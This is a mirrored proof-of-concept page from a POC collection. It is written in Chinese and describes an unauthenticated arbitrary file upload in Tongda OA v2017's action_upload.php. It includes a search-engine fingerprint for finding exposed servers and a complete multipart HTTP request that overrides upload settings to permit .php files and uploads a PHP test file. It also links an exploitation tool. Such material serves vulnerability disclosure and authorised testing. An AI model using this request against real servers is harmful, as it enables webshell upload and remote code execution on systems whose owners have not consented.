mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
72 lines
1.7 KiB
Markdown
72 lines
1.7 KiB
Markdown
|
|
# 通达OA v2017 action_upload.php 任意文件上传漏洞
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
通达OA v2017 action_upload.php 文件过滤不足且无需后台权限,导致任意文件上传漏洞
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
通达OA v2017
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="TDXK-通达OA"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
访问获取版本信息
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
发送请求包上传任意文件
|
|||
|
|
|
|||
|
|
```php
|
|||
|
|
POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
|
|||
|
|
Host:
|
|||
|
|
User-Agent: Go-http-client/1.1
|
|||
|
|
Content-Length: 893
|
|||
|
|
Content-Type: multipart/form-data; boundary=---------------------------55719851240137822763221368724
|
|||
|
|
X_requested_with: XMLHttpRequest
|
|||
|
|
Accept-Encoding: gzip
|
|||
|
|
|
|||
|
|
-----------------------------55719851240137822763221368724
|
|||
|
|
Content-Disposition: form-data; name="CONFIG[fileFieldName]"
|
|||
|
|
|
|||
|
|
ffff
|
|||
|
|
-----------------------------55719851240137822763221368724
|
|||
|
|
Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
|
|||
|
|
|
|||
|
|
1000000000
|
|||
|
|
-----------------------------55719851240137822763221368724
|
|||
|
|
Content-Disposition: form-data; name="CONFIG[filePathFormat]"
|
|||
|
|
|
|||
|
|
tcmd
|
|||
|
|
-----------------------------55719851240137822763221368724
|
|||
|
|
Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
|
|||
|
|
|
|||
|
|
.php
|
|||
|
|
-----------------------------55719851240137822763221368724
|
|||
|
|
Content-Disposition: form-data; name="ffff"; filename="test.php"
|
|||
|
|
Content-Type: application/octet-stream
|
|||
|
|
|
|||
|
|
<?php phpinfo();?>
|
|||
|
|
-----------------------------55719851240137822763221368724
|
|||
|
|
Content-Disposition: form-data; name="mufile"
|
|||
|
|
|
|||
|
|
submit
|
|||
|
|
-----------------------------55719851240137822763221368724--
|
|||
|
|
```
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
再访问上传的文件
|
|||
|
|
|
|||
|
|

|
|||
|
|
|
|||
|
|
利用工具:https://github.com/Fu5r0dah/TongdaScan_go
|
|||
|
|
|